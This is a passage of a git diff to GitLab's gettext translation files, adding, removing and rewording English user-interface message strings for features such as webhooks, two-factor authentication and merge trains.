+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/cs_CZ/gitlab.po b/locale/cs_CZ/gitlab.po
index 80b663b4911..ab1e11a272a 100644
--- a/locale/cs_CZ/gitlab.po
+++ b/locale/cs_CZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:44\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] "se zlepšil na %d bodech"
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] "%s dalších commitů bylo vynecháno, aby se předešlo problémům
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
